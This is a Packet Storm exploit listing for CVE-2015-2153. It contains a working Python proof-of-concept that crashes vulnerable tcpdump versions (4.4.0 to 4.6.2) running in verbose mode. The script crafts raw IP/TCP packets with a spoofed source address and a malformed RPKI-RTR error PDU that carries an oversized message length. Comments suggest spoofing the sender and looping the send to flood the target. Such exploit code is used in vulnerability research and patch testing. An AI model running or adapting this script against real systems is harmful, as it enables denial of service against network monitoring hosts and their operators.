Lucene search

K
packetstormLuke ArntsonPACKETSTORM:132762
HistoryJul 21, 2015 - 12:00 a.m.

tcpdump rpki_rtr_pdu_print Out-Of-Bounds Denial Of Service

2015-07-2100:00:00
Luke Arntson
packetstormsecurity.com
22

0.17 Low

EPSS

Percentile

95.5%

`# Exploit Title: TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service  
# Date: 7.18.2015  
# Exploit Author: Luke Arntson [email protected]  
# Vendor Homepage: http://www.tcpdump.org/  
# Software Link: http://www.tcpdump.org/  
# Version: 4.6.2, 4.5.1, 4.4.0  
# Tested on: Lubuntu 14.04 64-bit  
# CVE : CVE-2015-2153  
  
# Note: tcpdump must be running in verbose mode for this Denial-of-Service to trigger.  
  
import socket, sys  
from struct import *  
  
def checksum(msg):  
s = 0  
for i in range(0, len(msg), 2):  
w = ord(msg[i]) + (ord(msg[i+1]) << 8 )  
s = s + w  
s = (s>>16) + (s & 0xffff);  
s = s + (s >> 16);  
s = ~s & 0xffff  
return s  
  
if len(sys.argv) != 3:  
print "Usage: ./CVE-2015-2153.py <source-ip> <destination-ip>"  
exit()  
  
# fake the source and destination  
source_ip = sys.argv[1]  
dest_ip = sys.argv[2]  
  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)  
except socket.error , msg:  
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]  
sys.exit()  
  
packet = ''  
  
# ip header fields  
ip_ihl = 5  
ip_ver = 4  
ip_tos = 0  
ip_tot_len = 0 # kernel will fill the correct total length  
ip_id = 54321 #Id of this packet  
ip_frag_off = 0  
ip_ttl = 255  
ip_proto = socket.IPPROTO_TCP  
ip_check = 0 # kernel will fill the correct checksum  
ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to  
ip_daddr = socket.inet_aton ( dest_ip )  
  
ip_ihl_ver = (ip_ver << 4) + ip_ihl  
  
ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)  
  
# tcp header fields  
tcp_source = 255 # source port  
tcp_dest = 323 # destination port  
tcp_seq = 454  
tcp_ack_seq = 0  
tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes  
#tcp flags  
tcp_fin = 0  
tcp_syn = 1  
tcp_rst = 0  
tcp_psh = 0  
tcp_ack = 0  
tcp_urg = 0  
tcp_window = socket.htons (5840) # maximum allowed window size  
tcp_check = 0  
tcp_urg_ptr = 0  
  
tcp_offset_res = (tcp_doff << 4) + 0  
tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)  
  
tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)  
  
# CVE-2015-2153 out-of-bounds occurs here, when we send in a bad message length to the error type.  
# The RPKI pdu looks like the following  
# [ pdu version ] [ pdu type ] [ error id ] [ packet length ] [ encapsulated pdu length ] [ message length ] [ message ]  
# by giving message length a long value, we cause the buffer to write into bad memory  
error_pdu = '\x41' # fake version  
error_pdu = error_pdu + '\x0A' # error type  
error_pdu = error_pdu + '\x00\x01' # error number  
error_pdu = error_pdu + '\x00\x00\x00\x08' # must be less than or equal to total packet length  
error_pdu = error_pdu + '\x00\x00\x00\x00' # no encapsulated pdu  
error_pdu = error_pdu + '\x7F\xFF\xFF\xFF' # overwrite out-of-bounds '\0', causing DoS  
error_pdu = error_pdu + 'AAAA' # fake message  
  
user_data = error_pdu  
  
# pseudo header fields  
source_address = socket.inet_aton( source_ip )  
dest_address = socket.inet_aton(dest_ip)  
placeholder = 0  
protocol = socket.IPPROTO_TCP  
tcp_length = len(tcp_header) + len(user_data)  
  
psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);  
psh = psh + tcp_header + user_data;  
  
tcp_check = checksum(psh)  
  
# make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order  
tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)  
  
# final full packet - syn packets dont have any data  
packet = ip_header + tcp_header + user_data  
  
#Send the packet finally - the port specified has no effect  
s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target  
  
  
`